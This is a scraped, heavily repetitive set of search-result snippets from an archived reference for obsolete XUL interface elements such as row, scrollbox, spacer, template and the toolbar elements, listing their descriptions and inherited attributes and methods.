attribute, getelementsby
attributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, has
attribute(), has
attributens(), has
attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), remove
attribute(), remove
attributenode(), remove
attributens(), removechild(), removeeventlistener(), replacechild(), set
attribute(), set
attributenode(), set
attributenodens(), set
attributens(), setuserdata ...
row - Archive of obsolete content
« xul reference home [ examples |
attributes | properties | methods | related ] a single row in a rows element. each child of the row element is placed in each successive cell of the grid. the row with the most child elements determines the number of columns in each row, which may be smaller or larger than the number of column elements defined in the grid. more information is available in the xul tutorial. example see grid for an example. ...
...erties | methods | related ] a single row in a rows element. each child of the row element is placed in each successive cell of the grid. the row with the most child elements determines the number of columns in each row, which may be smaller or larger than the number of column elements defined in the grid. more information is available in the xul tutorial. example see grid for an example. ...
...s, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, get
attribute(), get
attributenode(), get
attributenodens(), get
attributens(), getboundingclientrect(), getclientrects(), getelementsby
attribute, getelementsby
attributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, has
attribute(), has
attributens(), has
attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported...
...ientrects(), getelementsby
attribute, getelementsby
attributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, has
attribute(), has
attributens(), has
attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), remove
attribute(), remove
attributenode(), remove
attributens(), removechild(), removeeventlistener(), replacechild(), set
attribute(), set
attributenode(), set
attributenodens(), set
attributens(), setuserdata related elements grid, columns, column, rows. ...
rows - Archive of obsolete content
child row elements define the individual rows to appear in the grid. each child of a rows element should be a row element. the rows element may be nested inside another rows element. the children of these nested rows are counted as normal rows as if they were part of the parent. however, nesting rows elements allows groups of rows to have a separate appearance such as a different border, or separate scrolling may be defined for these rows. non-row related elements placed inside a rows element occupy the full width of the grid and are placed in their corresponding positions between the rows. ...
..., nesting rows elements allows groups of rows to have a separate appearance such as a different border, or separate scrolling may be defined for these rows. non-row related elements placed inside a rows element occupy the full width of the grid and are placed in their corresponding positions between the rows. more information is available in the xul tutorial. example see grid for an example. ...
...s, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, get
attribute(), get
attributenode(), get
attributenodens(), get
attributens(), getboundingclientrect(), getclientrects(), getelementsby
attribute, getelementsby
attributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, has
attribute(), has
attributens(), has
attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported...
...ientrects(), getelementsby
attribute, getelementsby
attributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, has
attribute(), has
attributens(), has
attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), remove
attribute(), remove
attributenode(), remove
attributens(), removechild(), removeeventlistener(), replacechild(), set
attribute(), set
attributenode(), set
attributenodens(), set
attributens(), setuserdata related elements grid, columns, column, row. ...
scrollbox - Archive of obsolete content
note that a scrollbox doesn't cause scrollbars to be displayed. it is intended to be used when an application wants to be able to adjust the scroll position itself. if you just want scrollbars to appear, add style='overflow: auto;'. this may also be used with any other container element. examples the following shows the xul for a bunch of labels. they come out in a box. ...
...olling a child element into view see element.scrollintoview. prior to gecko 19, scrollintoview() didn't exist in xul. do this instead: var xpcominterface =scrollbox_element.boxobject.queryinterface( components.interfaces.nsiscrollboxobject); xpcominterface.ensureelementisvisible(child_element_to_make_visible); see the nsiscrollboxobject api for other scroll-related methods. ...
...s, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, get
attribute(), get
attributenode(), get
attributenodens(), get
attributens(), getboundingclientrect(), getclientrects(), getelementsby
attribute, getelementsby
attributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, has
attribute(), has
attributens(), has
attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported...
...ientrects(), getelementsby
attribute, getelementsby
attributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, has
attribute(), has
attributens(), has
attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), remove
attribute(), remove
attributenode(), remove
attributens(), removechild(), removeeventlistener(), replacechild(), set
attribute(), set
attributenode(), set
attributenodens(), set
attributens(), setuserdata ...
scrollcorner - Archive of obsolete content
« xul reference home [ examples |
attributes | properties | methods | related ] this element is used for the small box where the horizontal and vertical scrollbars meet. ...
... « xul reference home [ examples |
attributes | properties | methods | related ] this element is used for the small box where the horizontal and vertical scrollbars meet. ...
...s, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, get
attribute(), get
attributenode(), get
attributenodens(), get
attributens(), getboundingclientrect(), getclientrects(), getelementsby
attribute, getelementsby
attributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, has
attribute(), has
attributens(), has
attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported...
...ientrects(), getelementsby
attribute, getelementsby
attributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, has
attribute(), has
attributens(), has
attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), remove
attribute(), remove
attributenode(), remove
attributens(), removechild(), removeeventlistener(), replacechild(), set
attribute(), set
attributenode(), set
attributenodens(), set
attributens(), setuserdata ...
spacer - Archive of obsolete content
« xul reference home [ examples |
attributes | properties | methods | related ] an element that takes up space but does not display anything. it is usually used to place spacing within a container. if you don't specify that the spacer has a size or is flexible, the spacer does not occupy any space. if you want a small gap, consider using a separator instead. more information is available in the xul tutorial. ...
...but does not display anything. it is usually used to place spacing within a container. if you don't specify that the spacer has a size or is flexible, the spacer does not occupy any space. if you want a small gap, consider using a separator instead. more information is available in the xul tutorial. ...
...s, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, get
attribute(), get
attributenode(), get
attributenodens(), get
attributens(), getboundingclientrect(), getclientrects(), getelementsby
attribute, getelementsby
attributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, has
attribute(), has
attributens(), has
attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported...
...ientrects(), getelementsby
attribute, getelementsby
attributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, has
attribute(), has
attributens(), has
attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), remove
attribute(), remove
attributenode(), remove
attributens(), removechild(), removeeventlistener(), replacechild(), set
attribute(), set
attributenode(), set
attributenodens(), set
attributens(), setuserdata related elements separator, splitter ...
spinbuttons - Archive of obsolete content
« xul reference home [ examples |
attributes | properties | methods | related ] spin buttons are two arrows, one to increase a value and one to decrease a value. spin buttons are not used as separate elements, but are used in combination with other elements to create a control that can be increased and decreased. for instance, spinbuttons are used for the number type textbox, and with the timepicker and datepicker. ...
...ples |
attributes | properties | methods | related ] spin buttons are two arrows, one to increase a value and one to decrease a value. spin buttons are not used as separate elements, but are used in combination with other elements to create a control that can be increased and decreased. for instance, spinbuttons are used for the number type textbox, and with the timepicker and datepicker. ...
...s, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, get
attribute(), get
attributenode(), get
attributenodens(), get
attributens(), getboundingclientrect(), getclientrects(), getelementsby
attribute, getelementsby
attributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, has
attribute(), has
attributens(), has
attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported...
...ientrects(), getelementsby
attribute, getelementsby
attributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, has
attribute(), has
attributens(), has
attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), remove
attribute(), remove
attributenode(), remove
attributens(), removechild(), removeeventlistener(), replacechild(), set
attribute(), set
attributenode(), set
attributenodens(), set
attributens(), setuserdata ...
statusbar - Archive of obsolete content
i suggest using the add-on bar instead. « xul reference home [ examples |
attributes | properties | methods | related ] an element used to create a status bar, usually placed along the bottom of a window. it is virtually equivalent to a standard box, but may be rendered differently. contains statusbarpanels. ...
...ment used to create a status bar, usually placed along the bottom of a window. it is virtually equivalent to a standard box, but may be rendered differently. contains statusbarpanels. ...
...ces, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, get
attribute(), get
attributenode(), get
attributenodens(), get
attributens(), getboundingclientrect(), getclientrects(), getelementsby
attribute, getelementsby
attributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, has
attribute(), has
attributens(), has
attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported...
...ientrects(), getelementsby
attribute, getelementsby
attributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, has
attribute(), has
attributens(), has
attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), remove
attribute(), remove
attributenode(), remove
attributens(), removechild(), removeeventlistener(), replacechild(), set
attribute(), set
attributenode(), set
attributenodens(), set
attributens(), setuserdata related elements statusbarpanel interfaces nsiaccessibleprovider ...
stringbundleset - Archive of obsolete content
« xul reference home [ examples |
attributes | properties | methods | related ] a container for stringbundle elements. ...
... « xul reference home [ examples |
attributes | properties | methods | related ] a container for stringbundle elements. ...
...s, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, get
attribute(), get
attributenode(), get
attributenodens(), get
attributens(), getboundingclientrect(), getclientrects(), getelementsby
attribute, getelementsby
attributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, has
attribute(), has
attributens(), has
attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported...
...ientrects(), getelementsby
attribute, getelementsby
attributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, has
attribute(), has
attributens(), has
attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), remove
attribute(), remove
attributenode(), remove
attributens(), removechild(), removeeventlistener(), replacechild(), set
attribute(), set
attributenode(), set
attributenodens(), set
attributens(), setuserdata ...
tabpanel - Archive of obsolete content
« xul reference home [ examples |
attributes | properties | methods | related ] a individual panel in a tabpanels element. this element is optional and you may just use any other container in place of it. more information is available in the xul tutorial. ...
... « xul reference home [ examples |
attributes | properties | methods | related ] a individual panel in a tabpanels element. this element is optional and you may just use any other container in place of it. more information is available in the xul tutorial. ...
...s, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, get
attribute(), get
attributenode(), get
attributenodens(), get
attributens(), getboundingclientrect(), getclientrects(), getelementsby
attribute, getelementsby
attributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, has
attribute(), has
attributens(), has
attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported...
...ientrects(), getelementsby
attribute, getelementsby
attributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, has
attribute(), has
attributens(), has
attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), remove
attribute(), remove
attributenode(), remove
attributens(), removechild(), removeeventlistener(), replacechild(), set
attribute(), set
attributenode(), set
attributenodens(), set
attributens(), setuserdata related elements tabbox, tabs, tab, tabpanels. ...
template - Archive of obsolete content
« xul reference home [ examples |
attributes | properties | methods | related ] used to declare a template for rule-based construction of elements. elements are constructed from a datasource. for more information see the rule element. more information is available in the xul tutorial.
attributes container, member examples (example needed)
attributes container type: string may optionally be set to the variable to use as the container or reference variable. if not specified, the variable specified in the uri
attribute of the content tag in the template's first rule is used. member type: string may optionally be set to the variable to use as the member variable. ...
...d)
attributes container type: string may optionally be set to the variable to use as the container or reference variable. if not specified, the variable specified in the uri
attribute of the content tag in the template's first rule is used. member type: string may optionally be set to the variable to use as the member variable. if not specified, the variable specified in the uri
attribute in the action body of the template's first rule is used. inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ord...
...s, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, get
attribute(), get
attributenode(), get
attributenodens(), get
attributens(), getboundingclientrect(), getclientrects(), getelementsby
attribute, getelementsby
attributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, has
attribute(), has
attributens(), has
attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported...
...ientrects(), getelementsby
attribute, getelementsby
attributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, has
attribute(), has
attributens(), has
attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), remove
attribute(), remove
attributenode(), remove
attributens(), removechild(), removeeventlistener(), replacechild(), set
attribute(), set
attributenode(), set
attributenodens(), set
attributens(), setuserdata ...
toolbargrippy - Archive of obsolete content
« xul reference home [ examples |
attributes | properties | methods | related ] not in firefox the notch on the side of a toolbar which can be used to collapse and expand it. this element is used internally by the toolbar and should only be used directly when modifying its theme. more information is available in the xul tutorial. ...
......
...s, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, get
attribute(), get
attributenode(), get
attributenodens(), get
attributens(), getboundingclientrect(), getclientrects(), getelementsby
attribute, getelementsby
attributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, has
attribute(), has
attributens(), has
attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported...
...ientrects(), getelementsby
attribute, getelementsby
attributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, has
attribute(), has
attributens(), has
attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), remove
attribute(), remove
attributenode(), remove
attributens(), removechild(), removeeventlistener(), replacechild(), set
attribute(), set
attributenode(), set
attributenodens(), set
attributens(), setuserdata related elements toolbar, toolbarbutton, toolbaritem, toolbarpalette, toolbarseparator, toolbarset, toolbarspacer, toolbarspring, toolbox interfaces nsiaccessibleprovider ...
toolbaritem - Archive of obsolete content
this element should wrap all customizable items (unless they're instances of toolbarbutton). if you don't need the thing you're placing in the toolbar to be customized then it doesn't need to be in a toolbaritem element. the element is used, for example, to hold the location bar's textbox in firefox. it is also used to group buttons together so they can be added and removed all at once like firefox's unified-back-forward-button. ...
... <menuitem label="taxi"/> <menuitem label="bus" selected="true"/> <menuitem label="train"/> </menupopup> </menulist> </toolbaritem> <toolbaritem id="sample-toolbutton-unified"> <toolbarbutton id="myext-button1" class="toolbarbutton-1" label="label1" /> <toolbarbutton id="myext-button2" class="toolbarbutton-1" label="labe2l" /> </toolbaritem>
attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-...
...s, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, get
attribute(), get
attributenode(), get
attributenodens(), get
attributens(), getboundingclientrect(), getclientrects(), getelementsby
attribute, getelementsby
attributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, has
attribute(), has
attributens(), has
attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported...
...ientrects(), getelementsby
attribute, getelementsby
attributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, has
attribute(), has
attributens(), has
attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), remove
attribute(), remove
attributenode(), remove
attributens(), removechild(), removeeventlistener(), replacechild(), set
attribute(), set
attributenode(), set
attributenodens(), set
attributens(), setuserdata related elements toolbar, toolbarbutton, toolbargrippy, toolbarpalette, toolbarseparator, toolbarset, toolbarspacer, toolbarspring, toolbox ...
toolbarpalette - Archive of obsolete content
it is not displayed, but is used by the toolbar customization dialog to display the list of items. the children of the toolbarpalette should be the complete list of toolbarbuttons and toolbaritems that can be added to the toolbar. do not add the various spacing items, as those are added automatically. you can add your own custom buttons to the firefox browser by using an overlay that overlays the toolbarpalette with the idbrowsertoolbarpalette. ...
...s to the firefox browser by using an overlay that overlays the toolbarpalette with the idbrowsertoolbarpalette. ...
...s, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, get
attribute(), get
attributenode(), get
attributenodens(), get
attributens(), getboundingclientrect(), getclientrects(), getelementsby
attribute, getelementsby
attributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, has
attribute(), has
attributens(), has
attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported...
...ientrects(), getelementsby
attribute, getelementsby
attributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, has
attribute(), has
attributens(), has
attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), remove
attribute(), remove
attributenode(), remove
attributens(), removechild(), removeeventlistener(), replacechild(), set
attribute(), set
attributenode(), set
attributenodens(), set
attributens(), setuserdata related elements toolbar, toolbarbutton, toolbargrippy, toolbaritem, toolbarseparator, toolbarset, toolbarspacer, toolbarspring, toolbox ...
toolbarseparator - Archive of obsolete content
« xul reference home [ examples |
attributes | properties | methods | related ] creates a separator between groups of toolbar items. it is functionally equivalent to a normal separator but some themes may apply a different appearance. ...
...ibutes | properties | methods | related ] creates a separator between groups of toolbar items. it is functionally equivalent to a normal separator but some themes may apply a different appearance. ...
...ces, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, get
attribute(), get
attributenode(), get
attributenodens(), get
attributens(), getboundingclientrect(), getclientrects(), getelementsby
attribute, getelementsby
attributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, has
attribute(), has
attributens(), has
attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported...
...ientrects(), getelementsby
attribute, getelementsby
attributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, has
attribute(), has
attributens(), has
attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), remove
attribute(), remove
attributenode(), remove
attributens(), removechild(), removeeventlistener(), replacechild(), set
attribute(), set
attributenode(), set
attributenodens(), set
attributens(), setuserdata related elements toolbar, toolbarbutton, toolbargrippy, toolbaritem, toolbarpalette, toolbarset, toolbarspacer, toolbarspring, toolbox ...
toolbarset - Archive of obsolete content
« xul reference home [ examples |
attributes | properties | methods | related ] firefox only this element is used as a container for custom toolbars, which are added in the custom toolbar dialog. ...
... « xul reference home [ examples |
attributes | properties | methods | related ] firefox only this element is used as a container for custom toolbars, which are added in the custom toolbar dialog. ...
...ces, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, get
attribute(), get
attributenode(), get
attributenodens(), get
attributens(), getboundingclientrect(), getclientrects(), getelementsby
attribute, getelementsby
attributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, has
attribute(), has
attributens(), has
attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported...
...ientrects(), getelementsby
attribute, getelementsby
attributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, has
attribute(), has
attributens(), has
attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), remove
attribute(), remove
attributenode(), remove
attributens(), removechild(), removeeventlistener(), replacechild(), set
attribute(), set
attributenode(), set
attributenodens(), set
attributens(), setuserdata related elements toolbar, toolbarbutton, toolbargrippy, toolbaritem, toolbarpalette, toolbarseparator, toolbarspacer, toolbox ...
toolbarspacer - Archive of obsolete content
« xul reference home [ examples |
attributes | properties | methods | related ] firefox only a space between toolbar items. ...
... « xul reference home [ examples |
attributes | properties | methods | related ] firefox only a space between toolbar items. ...
...s, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, get
attribute(), get
attributenode(), get
attributenodens(), get
attributens(), getboundingclientrect(), getclientrects(), getelementsby
attribute, getelementsby
attributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, has
attribute(), has
attributens(), has
attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported...
...ientrects(), getelementsby
attribute, getelementsby
attributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, has
attribute(), has
attributens(), has
attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), remove
attribute(), remove
attributenode(), remove
attributens(), removechild(), removeeventlistener(), replacechild(), set
attribute(), set
attributenode(), set
attributenodens(), set
attributens(), setuserdata related elements toolbar, toolbarbutton, toolbargrippy, toolbaritem, toolbarpalette, toolbarseparator, toolbarset, toolbarspring, toolbox interfaces nsiaccessibleprovider ...
toolbarspring - Archive of obsolete content
« xul reference home [ examples |
attributes | properties | methods | related ] firefox only a flexible space between toolbar items. ...
... « xul reference home [ examples |
attributes | properties | methods | related ] firefox only a flexible space between toolbar items. ...
...ces, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, get
attribute(), get
attributenode(), get
attributenodens(), get
attributens(), getboundingclientrect(), getclientrects(), getelementsby
attribute, getelementsby
attributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, has
attribute(), has
attributens(), has
attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported...
...ientrects(), getelementsby
attribute, getelementsby
attributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, has
attribute(), has
attributens(), has
attributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), remove
attribute(), remove
attributenode(), remove
attributens(), removechild(), removeeventlistener(), replacechild(), set
attribute(), set
attributenode(), set
attributenodens(), set
attributens(), setuserdata related elements toolbar, toolbarbutton, toolbargrippy, toolbaritem, toolbarpalette, toolbarseparator, toolbarset, toolbarspacer, toolbox interfaces nsiaccessibleprovider ...
vbox - Archive of obsolete content
« xul reference home [ examples |
attributes | properties | methods | related ] a container element which can contain any number of child elements. this is equivalent to the box element, except it defaults to vertical orientation. more information is available in the xul tutorial. ...
...e [ examples |
attributes | properties | methods | related ] a container element which can contain any number of child elements. this is equivalent to the box element, except it defaults to vertical orientation. more information is available in the xul tutorial. ...
...s, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, get
attribute(), get
attributenode(), get
attributenodens(), get
attributens(), getboundingclientrect(), getclientrects(), getelementsby
attribute, getelementsby
attributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, has
attribute(), has
attributens(), has
